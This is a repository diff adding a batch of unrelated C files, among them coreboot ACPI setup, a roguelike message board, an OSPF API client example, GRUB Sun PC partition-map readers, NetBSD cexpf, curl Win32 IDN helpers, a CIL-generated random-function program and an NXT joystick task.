used by fadt + memcpy(dsdt, &AmlCode, sizeof(acpi_header_t)); + current += dsdt->length; + memcpy(dsdt, &AmlCode, dsdt->length); + printk(BIOS_DEBUG, "ACPI: * DSDT @ %p Length %x\n",dsdt,dsdt->length); + + /* FACS */ // it needs 64 bit alignment + current = ALIGN(current, 8); + printk(BIOS_DEBUG, "ACPI: * FACS at %lx\n", current); + facs = (acpi_facs_t *) current; // it will be used by fadt + current += sizeof(acpi_facs_t); + acpi_create_facs(facs); + + /* FADT */ + current = ALIGN(current, 8); + printk(BIOS_DEBUG, "ACPI: * FADT at %lx\n", current); + fadt = (acpi_fadt_t *) current; + current += sizeof(acpi_fadt_t); + + acpi_create_fadt(fadt, facs, dsdt); + acpi_add_table(rsdp, fadt); + + printk(BIOS_INFO, "ACPI: done.\n"); + return current; +} diff --git a/pool/shard011/C/0141796_messageBoard.c b/pool/shard011/C/0141796_messageBoard.c new file mode 100644 index 0000000000000000000000000000000000000000..e3c6aea1e0b0aa36d7bf9212df6b5f69ea406de4 --- /dev/null +++ b/pool/shard011/C/0141796_messageBoard.c @@ -0,0 +1,111 @@ +/* Copyright 2011, Aner Lucero + * + * This file is part of FaRogue. + * + * FaRogue is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published + * by the Free Software Foundation, either version 3 of the License, + * or (at your option) any later version. + * + * FaRogue is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with FaRogue. If not, see . + */ +#include "messageBoard.h" +#include "rect.h" + +#include +#include +#include +#include + +void messageBoard_init( MessageBoard* mb, Rect* rect, + MessagesList* ml ) { + mb->window = Window_new ( "--Mesages--", "+: Scroll Down, -:Scroll Up", rect, + WINDOW_HAS_STATUS | WINDOW_HAS_TITLE ); + gameMessagesList_init( &(mb->gml) ); + mb->ml = ml; +} + +void messageBoard_destroy ( MessageBoard *mb ) { + Window_destroy ( mb->window ); +} + +void messageBooard_post ( MessageBoard *mb, const char* format, ... ) { + va_list ap; + char text[100]; + + va_start( ap, format ); + vsnprintf(text,100,format,ap); + va_end( ap ); + + gameMessagesList_append( &(mb->gml), text ); + messagesListPush ( (mb->ml), GM_NEW_MESSAGE_AVAILABLE ); +} + +void messageBoard_refresh ( MessageBoard *mb ) { + int i; + int start = 0; + + start = mb->gml.len - mb->window->rect->h + 2; + if (start < 0 ) start = 0; + + Window_print ( mb->window,"\n" ); + if ( mb->window != NULL ) { + for ( i = start ; i < mb->gml.len; i++ ) + Window_print ( mb->window, mb->gml.messages[i] ); + + Window_draw ( mb->window ); + Window_refresh( mb->window ); + } +} + +void gameMessagesList_init( GameMessagesList *ml ) { + int i; + ml->len = 0; + ml->nMessages = 0; + for ( i = 0; i < MAX_MESSAGES_STORED; i ++ ) { + ml->messages[i] = NULL; + } +} + +void gameMessagesList_append( GameMessagesList *ml, const char* text ) { + int i; + char *dest; + char label[20]; + int newMessageSize; + + sprintf(label, "%2d- ", ml->nMessages++ ); + newMessageSize = ( strlen( text ) + strlen( label ) + 1 ); + + dest = malloc( newMessageSize * sizeof ( char ) ); + bzero( dest, newMessageSize ); + strncpy( dest , label, strlen(label) ); + strncat( dest , text, strlen(text) + 1 ); + + if ( ml->len < MAX_MESSAGES_STORED ) { + ml->messages[ml->len] = dest; + ml->len++; + } else { + free ( ml->messages[0] ); + for ( i = 0; i < MAX_MESSAGES_STORED-1; i ++ ) { + ml->messages[i] = ml->messages[i+1]; + } + ml->messages[i] = dest; + } +} + +char* gameMessagesList_getLast ( GameMessagesList *gml ) { + if (gml->len != 0 ) + return gml->messages[gml->len-1]; + else + return NULL; +} + +char* messageBoard_getLast ( MessageBoard *mb ) { + return gameMessagesList_getLast( &(mb->gml) ); +} diff --git a/pool/shard011/C/0141797_ospfclient.c b/pool/shard011/C/0141797_ospfclient.c new file mode 100644 index 0000000000000000000000000000000000000000..02f6b4f07f2eb4b69765500b6c09eec4222d4636 --- /dev/null +++ b/pool/shard011/C/0141797_ospfclient.c @@ -0,0 +1,334 @@ +/* + * Simple program to demonstrate how OSPF API can be used. This + * application retrieves the LSDB from the OSPF daemon and then + * originates, updates and finally deletes an application-specific + * opaque LSA. You can use this application as a template when writing + * your own application. + */ + +/* The following includes are needed in all OSPF API client + applications. */ + +#include +#include "prefix.h" /* needed by ospf_asbr.h */ +#include "privs.h" +#include "log.h" + +#include "ospfd/ospfd.h" +#include "ospfd/ospf_asbr.h" +#include "ospfd/ospf_lsa.h" +#include "ospfd/ospf_opaque.h" +#include "ospfd/ospf_api.h" +#include "ospf_apiclient.h" + +/* privileges struct. + * set cap_num_* and uid/gid to nothing to use NULL privs + * as ospfapiclient links in libospf.a which uses privs. + */ +struct kroute_privs_t ospfd_privs = +{ + .user = NULL, + .group = NULL, + .cap_num_p = 0, + .cap_num_i = 0 +}; + +/* The following includes are specific to this application. For + example it uses threads from libkroute, however your application is + free to use any thread library (like pthreads). */ + +#include "ospfd/ospf_dump.h" /* for ospf_lsa_header_dump */ +#include "thread.h" +#include "log.h" + +/* Local portnumber for async channel. Note that OSPF API library will also + allocate a sync channel at ASYNCPORT+1. */ +#define ASYNCPORT 4000 + +/* Master thread */ +struct thread_master *master; + +/* Global variables */ +struct ospf_apiclient *oclient; +char **args; + +/* Our opaque LSAs have the following format. */ +struct my_opaque_lsa +{ + struct lsa_header hdr; /* include common LSA header */ + u_char data[4]; /* our own data format then follows here */ +}; + + +/* --------------------------------------------------------- + * Threads for asynchronous messages and LSA update/delete + * --------------------------------------------------------- + */ + +static int +lsa_delete (struct thread *t) +{ + struct ospf_apiclient *oclient; + struct in_addr area_id; + int rc; + + oclient = THREAD_ARG (t); + + inet_aton (args[6], &area_id); + + printf ("Deleting LSA... "); + rc = ospf_apiclient_lsa_delete (oclient, + area_id, + atoi (args[2]), /* lsa type */ + atoi (args[3]), /* opaque type */ + atoi (args[4])); /* opaque ID */ + printf ("done, return code is = %d\n", rc); + return rc; +} + +static int +lsa_inject (struct thread *t) +{ + struct ospf_apiclient *cl; + struct in_addr ifaddr; + struct in_addr area_id; + u_char lsa_type; + u_char opaque_type; + u_int32_t opaque_id; + void *opaquedata; + int opaquelen; + + static u_int32_t counter = 1; /* Incremented each time invoked */ + int rc; + + cl = THREAD_ARG (t); + + inet_aton (args[5], &ifaddr); + inet_aton (args[6], &area_id); + lsa_type = atoi (args[2]); + opaque_type = atoi (args[3]); + opaque_id = atoi (args[4]); + opaquedata = &counter; + opaquelen = sizeof (u_int32_t); + + printf ("Originating/updating LSA with counter=%d... ", counter); + rc = ospf_apiclient_lsa_originate(cl, ifaddr, area_id, + lsa_type, + opaque_type, opaque_id, + opaquedata, opaquelen); + + printf ("done, return code is %d\n", rc); + + counter++; + + return 0; +} + + +/* This thread handles asynchronous messages coming in from the OSPF + API server */ +static int +lsa_read (struct thread *thread) +{ + struct ospf_apiclient *oclient; + int fd; + int ret; + + printf ("lsa_read called\n"); + + oclient = THREAD_ARG (thread); + fd = THREAD_FD (thread); + + /* Handle asynchronous message */ + ret = ospf_apiclient_handle_async (oclient); + if (ret < 0) { + printf ("Connection closed, exiting..."); + exit(0); + } + + /* Reschedule read thread */ + thread_add_read (master, lsa_read, oclient, fd); + + return 0; +} + +/* --------------------------------------------------------- + * Callback functions for asynchronous events + * --------------------------------------------------------- + */ + +static void +lsa_update_callback (struct in_addr ifaddr, struct in_addr area_id, + u_char is_self_originated, + struct lsa_header *lsa) +{ + printf ("lsa_update_callback: "); + printf ("ifaddr: %s ", inet_ntoa (ifaddr)); + printf ("area: %s\n", inet_ntoa (area_id)); + printf ("is_self_origin: %u\n", is_self_originated); + + /* It is important to note that lsa_header does indeed include the + header and the LSA payload. To access the payload, first check + the LSA type and then typecast lsa into the corresponding type, + e.g.: + + if (lsa->type == OSPF_ROUTER_LSA) { + struct router_lsa *rl = (struct router_lsa) lsa; + ... + u_int16_t links = rl->links; + ... + } + */ + + ospf_lsa_header_dump (lsa); +} + +static void +lsa_delete_callback (struct in_addr ifaddr, struct in_addr area_id, + u_char is_self_originated, + struct lsa_header *lsa) +{ + printf ("lsa_delete_callback: "); + printf ("ifaddr: %s ", inet_ntoa (ifaddr)); + printf ("area: %s\n", inet_ntoa (area_id)); + printf ("is_self_origin: %u\n", is_self_originated); + + ospf_lsa_header_dump (lsa); +} + +static void +ready_callback (u_char lsa_type, u_char opaque_type, struct in_addr addr) +{ + printf ("ready_callback: lsa_type: %d opaque_type: %d addr=%s\n", + lsa_type, opaque_type, inet_ntoa (addr)); + + /* Schedule opaque LSA originate in 5 secs */ + thread_add_timer (master, lsa_inject, oclient, 5); + + /* Schedule opaque LSA update with new value */ + thread_add_timer (master, lsa_inject, oclient, 10); + + /* Schedule delete */ + thread_add_timer (master, lsa_delete, oclient, 30); +} + +static void +new_if_callback (struct in_addr ifaddr, struct in_addr area_id) +{ + printf ("new_if_callback: ifaddr: %s ", inet_ntoa (ifaddr)); + printf ("area_id: %s\n", inet_ntoa (area_id)); +} + +static void +del_if_callback (struct in_addr ifaddr) +{ + printf ("new_if_callback: ifaddr: %s\n ", inet_ntoa (ifaddr)); +} + +static void +ism_change_callback (struct in_addr ifaddr, struct in_addr area_id, + u_char state) +{ + printf ("ism_change: ifaddr: %s ", inet_ntoa (ifaddr)); + printf ("area_id: %s\n", inet_ntoa (area_id)); + printf ("state: %d [%s]\n", state, LOOKUP (ospf_ism_state_msg, state)); +} + +static void +nsm_change_callback (struct in_addr ifaddr, struct in_addr nbraddr, + struct in_addr router_id, u_char state) +{ + printf ("nsm_change: ifaddr: %s ", inet_ntoa (ifaddr)); + printf ("nbraddr: %s\n", inet_ntoa (nbraddr)); + printf ("router_id: %s\n", inet_ntoa (router_id)); + printf ("state: %d [%s]\n", state, LOOKUP (ospf_nsm_state_msg, state)); +} + + +/* --------------------------------------------------------- + * Main program + * --------------------------------------------------------- + */ + +static int usage() +{ + printf("Usage: ospfclient \n"); + printf("where ospfd : router where API-enabled OSPF daemon is running\n"); + printf(" lsatype : either 9, 10, or 11 depending on flooding scope\n"); + printf(" opaquetype: 0-255 (e.g., experimental applications use > 128)\n"); + printf(" opaqueid : arbitrary application instance (24 bits)\n"); + printf(" ifaddr : interface IP address (for type 9) otherwise ignored\n"); + printf(" areaid : area in IP address format (for type 10) otherwise ignored\n"); + + exit(1); +} + +int +main (int argc, char *argv[]) +{ + struct thread thread; + + args = argv; + + /* ospfclient should be started with the following arguments: + * + * (1) host (2) lsa_type (3) opaque_type (4) opaque_id (5) if_addr + * (6) area_id + * + * host: name or IP of host where ospfd is running + * lsa_type: 9, 10, or 11 + * opaque_type: 0-255 (e.g., experimental applications use > 128) + * opaque_id: arbitrary application instance (24 bits) + * if_addr: interface IP address (for type 9) otherwise ignored + * area_id: area in IP address format (for type 10) otherwise ignored + */ + + if (argc != 7) + { + usage(); + } + + /* Initialization */ + zprivs_init (&ospfd_privs); + master = thread_master_create (); + + /* Open connection to OSPF daemon */ + oclient = ospf_apiclient_connect (args[1], ASYNCPORT); + if (!oclient) + { + printf ("Connecting to OSPF daemon on %s failed!\n", + args[1]); + exit (1); + } + + /* Register callback functions. */ + ospf_apiclient_register_callback (oclient, + ready_callback, + new_if_callback, + del_if_callback, + ism_change_callback, + nsm_change_callback, + lsa_update_callback, + lsa_delete_callback); + + /* Register LSA type and opaque type. */ + ospf_apiclient_register_opaque_type (oclient, atoi (args[2]), + atoi (args[3])); + + /* Synchronize database with OSPF daemon. */ + ospf_apiclient_sync_lsdb (oclient); + + /* Schedule thread that handles asynchronous messages */ + thread_add_read (master, lsa_read, oclient, oclient->fd_async); + + /* Now connection is established, run loop */ + while (1) + { + thread_fetch (master, &thread); + thread_call (&thread); + } + + /* Never reached */ + return 0; +} + diff --git a/pool/shard011/C/0141798_sunpc.c b/pool/shard011/C/0141798_sunpc.c new file mode 100644 index 0000000000000000000000000000000000000000..6e7916544e0961a21287f13a121dd30f7fcd8906 --- /dev/null +++ b/pool/shard011/C/0141798_sunpc.c @@ -0,0 +1,139 @@ +/* sunpc.c - Read SUN PC style partition tables. */ +/* + * GRUB -- GRand Unified Bootloader + * Copyright (C) 2002,2005,2006,2007,2009 Free Software Foundation, Inc. + * + * GRUB is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * GRUB is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with GRUB. If not, see . + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define GRUB_PARTMAP_SUN_PC_MAGIC 0xDABE +#define GRUB_PARTMAP_SUN_PC_MAX_PARTS 16 +#define GRUB_PARTMAP_SUN_PC_WHOLE_DISK_ID 0x05 + +R_PACKED ( +struct grub_sun_pc_partition_descriptor +{ + grub_uint16_t id; + grub_uint16_t unused; + grub_uint32_t start_sector; + grub_uint32_t num_sectors; +}); + +R_PACKED ( +struct grub_sun_pc_block +{ + grub_uint8_t unused[72]; + struct grub_sun_pc_partition_descriptor partitions[GRUB_PARTMAP_SUN_PC_MAX_PARTS]; + grub_uint8_t unused2[244]; + grub_uint16_t magic; /* Magic number. */ + grub_uint16_t csum; /* Label xor'd checksum. */ +}); + +struct grub_partition_map grub_sun_pc_partition_map; + +/* Verify checksum (true=ok). */ +static int +grub_sun_is_valid (struct grub_sun_pc_block *label) +{ + grub_uint16_t *pos; + grub_uint16_t sum = 0; + + for (pos = (grub_uint16_t *) label; + pos < (grub_uint16_t *) (label + 1); + pos++) + sum ^= *pos; + + return ! sum; +} + +static grub_err_t +sun_pc_partition_map_iterate (grub_disk_t disk, + int (*hook) (grub_disk_t disk, + const grub_partition_t partition, + void *closure), + void *closure) +{ + grub_partition_t p; + struct grub_sun_pc_block block; + int partnum; + grub_err_t err; + + p = (grub_partition_t) grub_zalloc (sizeof (struct grub_partition)); + if (! p) + return grub_errno; + + p->partmap = &grub_sun_pc_partition_map; + err = grub_disk_read (disk, 1, 0, sizeof (struct grub_sun_pc_block), &block); + if (err) + { + grub_free (p); + return err; + } + + if (GRUB_PARTMAP_SUN_PC_MAGIC != grub_le_to_cpu16 (block.magic)) + { + grub_free (p); + return grub_error (GRUB_ERR_BAD_PART_TABLE, + "not a sun_pc partition table"); + } + + if (! grub_sun_is_valid (&block)) + { + grub_free (p); + return grub_error (GRUB_ERR_BAD_PART_TABLE, "invalid checksum"); + } + + /* Maybe another error value would be better, because partition + table _is_ recognized but invalid. */ + for (partnum = 0; partnum < GRUB_PARTMAP_SUN_PC_MAX_PARTS; partnum++) + { + struct grub_sun_pc_partition_descriptor *desc; + + if (block.partitions[partnum].id == 0 + || block.partitions[partnum].id == GRUB_PARTMAP_SUN_PC_WHOLE_DISK_ID) + continue; + + desc = &block.partitions[partnum]; + p->start = grub_le_to_cpu32 (desc->start_sector); + p->len = grub_le_to_cpu32 (desc->num_sectors); + p->number = partnum; + if (p->len) + { + if (hook (disk, p, closure)) + partnum = GRUB_PARTMAP_SUN_PC_MAX_PARTS; + } + } + + grub_free (p); + + return grub_errno; +} + +/* Partition map type. */ +struct grub_partition_map grub_sun_pc_partition_map = + { + .name = "sunpc", + .iterate = sun_pc_partition_map_iterate, + }; + diff --git a/pool/shard011/C/0141799_sunpc.c b/pool/shard011/C/0141799_sunpc.c new file mode 100644 index 0000000000000000000000000000000000000000..7034272c7484d26d2aee2de31d91438b28bc4dab --- /dev/null +++ b/pool/shard011/C/0141799_sunpc.c @@ -0,0 +1,151 @@ +/* sunpc.c - Read SUN PC style partition tables. */ +/* + * GRUB -- GRand Unified Bootloader + * Copyright (C) 2002,2005,2006,2007,2009 Free Software Foundation, Inc. + * + * GRUB is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * GRUB is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with GRUB. If not, see . + */ + +#include +#include +#include +#include +#include +#include +#include +#include + +GRUB_MOD_LICENSE ("GPLv3+"); + +#define GRUB_PARTMAP_SUN_PC_MAGIC 0xDABE +#define GRUB_PARTMAP_SUN_PC_MAX_PARTS 16 +#define GRUB_PARTMAP_SUN_PC_WHOLE_DISK_ID 0x05 + +struct grub_sun_pc_partition_descriptor +{ + grub_uint16_t id; + grub_uint16_t unused; + grub_uint32_t start_sector; + grub_uint32_t num_sectors; +} __attribute__ ((packed)); + +struct grub_sun_pc_block +{ + grub_uint8_t unused[72]; + struct grub_sun_pc_partition_descriptor partitions[GRUB_PARTMAP_SUN_PC_MAX_PARTS]; + grub_uint8_t unused2[244]; + grub_uint16_t magic; /* Magic number. */ + grub_uint16_t csum; /* Label xor'd checksum. */ +} __attribute__ ((packed)); + +static struct grub_partition_map grub_sun_pc_partition_map; + +/* Verify checksum (true=ok). */ +static int +grub_sun_is_valid (grub_uint16_t *label) +{ + grub_uint16_t *pos; + grub_uint16_t sum = 0; + + for (pos = label; + pos < (label + sizeof (struct grub_sun_pc_block) / 2); + pos++) + sum ^= *pos; + + return ! sum; +} + +static grub_err_t +sun_pc_partition_map_iterate (grub_disk_t disk, + grub_partition_iterate_hook_t hook, + void *hook_data) +{ + grub_partition_t p; + union + { + struct grub_sun_pc_block sun; + grub_uint16_t raw[0]; + } block; + int partnum; + grub_err_t err; + + p = (grub_partition_t) grub_zalloc (sizeof (struct grub_partition)); + if (! p) + return grub_errno; + + p->partmap = &grub_sun_pc_partition_map; + err = grub_disk_read (disk, 1, 0, sizeof (struct grub_sun_pc_block), &block); + if (err) + { + grub_free (p); + return err; + } + + if (GRUB_PARTMAP_SUN_PC_MAGIC != grub_le_to_cpu16 (block.sun.magic)) + { + grub_free (p); + return grub_error (GRUB_ERR_BAD_PART_TABLE, + "not a sun_pc partition table"); + } + + if (! grub_sun_is_valid (block.raw)) + { + grub_free (p); + return grub_error (GRUB_ERR_BAD_PART_TABLE, "invalid checksum"); + } + + /* Maybe another error value would be better, because partition + table _is_ recognized but invalid. */ + for (partnum = 0; partnum < GRUB_PARTMAP_SUN_PC_MAX_PARTS; partnum++) + { + struct grub_sun_pc_partition_descriptor *desc; + + if (block.sun.partitions[partnum].id == 0 + || block.sun.partitions[partnum].id + == GRUB_PARTMAP_SUN_PC_WHOLE_DISK_ID) + continue; + + desc = &block.sun.partitions[partnum]; + p->start = grub_le_to_cpu32 (desc->start_sector); + p->len = grub_le_to_cpu32 (desc->num_sectors); + p->number = partnum; + if (p->len) + { + if (hook (disk, p, hook_data)) + partnum = GRUB_PARTMAP_SUN_PC_MAX_PARTS; + } + } + + grub_free (p); + + return grub_errno; +} + +/* Partition map type. */ +static struct grub_partition_map grub_sun_pc_partition_map = + { + .name = "sunpc", + .iterate = sun_pc_partition_map_iterate, + }; + +GRUB_MOD_INIT(part_sunpc) +{ + grub_partition_map_register (&grub_sun_pc_partition_map); +} + +GRUB_MOD_FINI(part_sunpc) +{ + grub_partition_map_unregister (&grub_sun_pc_partition_map); +} + diff --git a/pool/shard011/C/0141800_cexpf.c b/pool/shard011/C/0141800_cexpf.c new file mode 100644 index 0000000000000000000000000000000000000000..e4dec4a4be1069eb41f387237b51fab462bc6f2a --- /dev/null +++ b/pool/shard011/C/0141800_cexpf.c @@ -0,0 +1,47 @@ +/* $NetBSD: cexpf.c,v 1.1 2007/08/20 16:01:34 drochner Exp $ */ + +/*- + * Copyright (c) 2007 The NetBSD Foundation, Inc. + * All rights reserved. + * + * This code is derived from software written by Stephen L. Moshier. + * It is redistributed by the NetBSD Foundation by permission of the author. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS + * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS + * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#include "../src/namespace.h" +#include +#include + +float complex +cexpf(float complex z) +{ + float complex w; + float r, x, y; + + x = crealf(z); + y = cimagf(z); + r = expf(x); + w = r * cosf(y) + r * sinf(y) * I; + return w; +} diff --git a/pool/shard011/C/0141801_idn_win32.c b/pool/shard011/C/0141801_idn_win32.c new file mode 100644 index 0000000000000000000000000000000000000000..1d475a4effb889920593f8b1d435cca0babd0bea --- /dev/null +++ b/pool/shard011/C/0141801_idn_win32.c @@ -0,0 +1,111 @@ +/*************************************************************************** + * _ _ ____ _ + * Project ___| | | | _ \| | + * / __| | | | |_) | | + * | (__| |_| | _ <| |___ + * \___|\___/|_| \_\_____| + * + * Copyright (C) 1998 - 2020, Daniel Stenberg, , et al. + * + * This software is licensed as described in the file COPYING, which + * you should have received as part of this distribution. The terms + * are also available at https://curl.se/docs/copyright.html. + * + * You may opt to use, copy, modify, merge, publish, distribute and/or sell + * copies of the Software, and permit persons to whom the Software is + * furnished to do so, under the terms of the COPYING file. + * + * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY + * KIND, either express or implied. + * + ***************************************************************************/ + + /* + * IDN conversions using Windows kernel32 and normaliz libraries. + */ + +#include "curl_setup.h" + +#ifdef USE_WIN32_IDN + +#include "curl_multibyte.h" +#include "curl_memory.h" +#include "warnless.h" + + /* The last #include file should be: */ +#include "memdebug.h" + +#ifdef WANT_IDN_PROTOTYPES +# if defined(_SAL_VERSION) +WINNORMALIZEAPI int WINAPI +IdnToAscii(_In_ DWORD dwFlags, + _In_reads_(cchUnicodeChar) LPCWSTR lpUnicodeCharStr, + _In_ int cchUnicodeChar, + _Out_writes_opt_(cchASCIIChar) LPWSTR lpASCIICharStr, + _In_ int cchASCIIChar); +WINNORMALIZEAPI int WINAPI +IdnToUnicode(_In_ DWORD dwFlags, + _In_reads_(cchASCIIChar) LPCWSTR lpASCIICharStr, + _In_ int cchASCIIChar, + _Out_writes_opt_(cchUnicodeChar) LPWSTR lpUnicodeCharStr, + _In_ int cchUnicodeChar); +# else +WINBASEAPI int WINAPI IdnToAscii(DWORD dwFlags, + const WCHAR *lpUnicodeCharStr, + int cchUnicodeChar, + WCHAR *lpASCIICharStr, + int cchASCIIChar); +WINBASEAPI int WINAPI IdnToUnicode(DWORD dwFlags, + const WCHAR *lpASCIICharStr, + int cchASCIIChar, + WCHAR *lpUnicodeCharStr, + int cchUnicodeChar); +# endif +#endif + +#define IDN_MAX_LENGTH 255 + +bool curl_win32_idn_to_ascii(const char *in, char **out); +bool curl_win32_ascii_to_idn(const char *in, char **out); + +bool curl_win32_idn_to_ascii(const char *in, char **out) +{ + bool success = FALSE; + + wchar_t *in_w = curlx_convert_UTF8_to_wchar(in); + if(in_w) { + wchar_t punycode[IDN_MAX_LENGTH]; + int chars = IdnToAscii(0, in_w, -1, punycode, IDN_MAX_LENGTH); + free(in_w); + if(chars) { + *out = curlx_convert_wchar_to_UTF8(punycode); + if(*out) + success = TRUE; + } + } + + return success; +} + +bool curl_win32_ascii_to_idn(const char *in, char **out) +{ + bool success = FALSE; + + wchar_t *in_w = curlx_convert_UTF8_to_wchar(in); + if(in_w) { + size_t in_len = wcslen(in_w) + 1; + wchar_t unicode[IDN_MAX_LENGTH]; + int chars = IdnToUnicode(0, in_w, curlx_uztosi(in_len), + unicode, IDN_MAX_LENGTH); + free(in_w); + if(chars) { + *out = curlx_convert_wchar_to_UTF8(unicode); + if(*out) + success = TRUE; + } + } + + return success; +} + +#endif /* USE_WIN32_IDN */ diff --git a/pool/shard011/C/0141802_empty-Seed1-RandomFuns-Type_int-ControlStructures_0-BB2-ForBound_input-Operators_PlusA_MinusA_Lt_Gt_Le_Ge_Eq_Ne_Mult_Div_Mod.c b/pool/shard011/C/0141802_empty-Seed1-RandomFuns-Type_int-ControlStructures_0-BB2-ForBound_input-Operators_PlusA_MinusA_Lt_Gt_Le_Ge_Eq_Ne_Mult_Div_Mod.c new file mode 100644 index 0000000000000000000000000000000000000000..da39703a677d4ea89f497bf366d5944aff46f961 --- /dev/null +++ b/pool/shard011/C/0141802_empty-Seed1-RandomFuns-Type_int-ControlStructures_0-BB2-ForBound_input-Operators_PlusA_MinusA_Lt_Gt_Le_Ge_Eq_Ne_Mult_Div_Mod.c @@ -0,0 +1,99 @@ +/* Generated by CIL v. 1.7.0 */ +/* print_CIL_Input is false */ + +struct _IO_FILE; +struct timeval; +extern void signal(int sig , void *func ) ; +extern float strtof(char const *str , char const *endptr ) ; +typedef struct _IO_FILE FILE; +extern int atoi(char const *s ) ; +extern double strtod(char const *str , char const *endptr ) ; +extern int fclose(void *stream ) ; +extern void *fopen(char const *filename , char const *mode ) ; +extern void abort() ; +extern void exit(int status ) ; +extern int raise(int sig ) ; +extern int fprintf(struct _IO_FILE *stream , char const *format , ...) ; +extern int strcmp(char const *a , char const *b ) ; +extern int rand() ; +extern unsigned long strtoul(char const *str , char const *endptr , int base ) ; +void RandomFunc(unsigned int input[1] , unsigned int output[1] ) ; +extern int strncmp(char const *s1 , char const *s2 , unsigned long maxlen ) ; +extern int gettimeofday(struct timeval *tv , void *tz , ...) ; +extern int printf(char const *format , ...) ; +int main(int argc , char *argv[] ) ; +void megaInit(void) ; +extern unsigned long strlen(char const *s ) ; +extern long strtol(char const *str , char const *endptr , int base ) ; +extern unsigned long strnlen(char const *s , unsigned long maxlen ) ; +extern void *memcpy(void *s1 , void const *s2 , unsigned long size ) ; +struct timeval { + long tv_sec ; + long tv_usec ; +}; +extern void *malloc(unsigned long size ) ; +extern int scanf(char const *format , ...) ; +void megaInit(void) +{ + + + { + +} +} +void RandomFunc(unsigned int input[1] , unsigned int output[1] ) +{ + unsigned int state[1] ; + char copy12 ; + + { + state[0UL] = (input[0UL] + 51238316UL) + 274866410U; + if ((state[0UL] >> 4U) & 1U) { + state[0UL] += state[0UL]; + } else { + copy12 = *((char *)(& state[0UL]) + 0); + *((char *)(& state[0UL]) + 0) = *((char *)(& state[0UL]) + 1); + *((char *)(& state[0UL]) + 1) = copy12; + copy12 = *((char *)(& state[0UL]) + 1); + *((char *)(& state[0UL]) + 1) = *((char *)(& state[0UL]) + 0); + *((char *)(& state[0UL]) + 0) = copy12; + state[0UL] += state[0UL]; + } + output[0UL] = (state[0UL] + 119333056UL) + 980743330U; +} +} +int main(int argc , char *argv[] ) +{ + unsigned int input[1] ; + unsigned int output[1] ; + int randomFuns_i5 ; + unsigned int randomFuns_value6 ; + int randomFuns_main_i7 ; + + { + megaInit(); + if (argc != 2) { + printf("Call this program with %i arguments\n", 1); + exit(-1); + } else { + + } + randomFuns_i5 = 0; + while (randomFuns_i5 < 1) { + randomFuns_value6 = (unsigned int )strtoul(argv[randomFuns_i5 + 1], 0, 10); + input[randomFuns_i5] = randomFuns_value6; + randomFuns_i5 ++; + } + RandomFunc(input, output); + if (output[0] == 4242424242U) { + printf("You win!\n"); + } else { + + } + randomFuns_main_i7 = 0; + while (randomFuns_main_i7 < 1) { + printf("%u\n", output[randomFuns_main_i7]); + randomFuns_main_i7 ++; + } +} +} diff --git a/pool/shard011/C/0141803_NXT_Joystick_Basic_now_its_ours.c b/pool/shard011/C/0141803_NXT_Joystick_Basic_now_its_ours.c new file mode 100644 index 0000000000000000000000000000000000000000..1c5942aaf0f01461d7b3205ac98f054f717c798e --- /dev/null +++ b/pool/shard011/C/0141803_NXT_Joystick_Basic_now_its_ours.c @@ -0,0 +1,32 @@ +#include "JoystickDriver.c" +#pragma DebuggerWindows("joystickSimple") + +task main() +{ + while(1 == 1) + { + getJoystickSettings(joystick); + motor[motorC] = joystick.joy1_y1; + motor[motorB] = joystick.joy1_y1; + } + if(joystick.joy1_y1 <10 && joystick.joy1_y1> -10) + { + /*move forward*/ + motor[motorC] = -10; + /*motor[LeftMotor2] = 0;*/ + } + else + { + motor[motorC] = 0; + /*motor[LeftMotor2] = joystick.joy1_y1/2;*/ + + } + if (joystick.joy1_y1 <10 && joystick.joy1_y1> -10) + { + motor[motorB] = 10; + } + else + { + motor[motorB] = 0; + } +} diff --git a/pool/shard011/C/0141804_ninep.c b/pool/shard011/C/0141804_ninep.c new file mode 100644 index 0000000000000000000000000000000000000000..5dd414cf1e070e6fb26bfc430eda6bf77146525d --- /dev/null +++ b/pool/shard011/C/0141804_ninep.c @@ -0,0 +1,51 @@ +/* + * This file is part of the UCB release of Plan 9. It is subject to the license + * terms in the 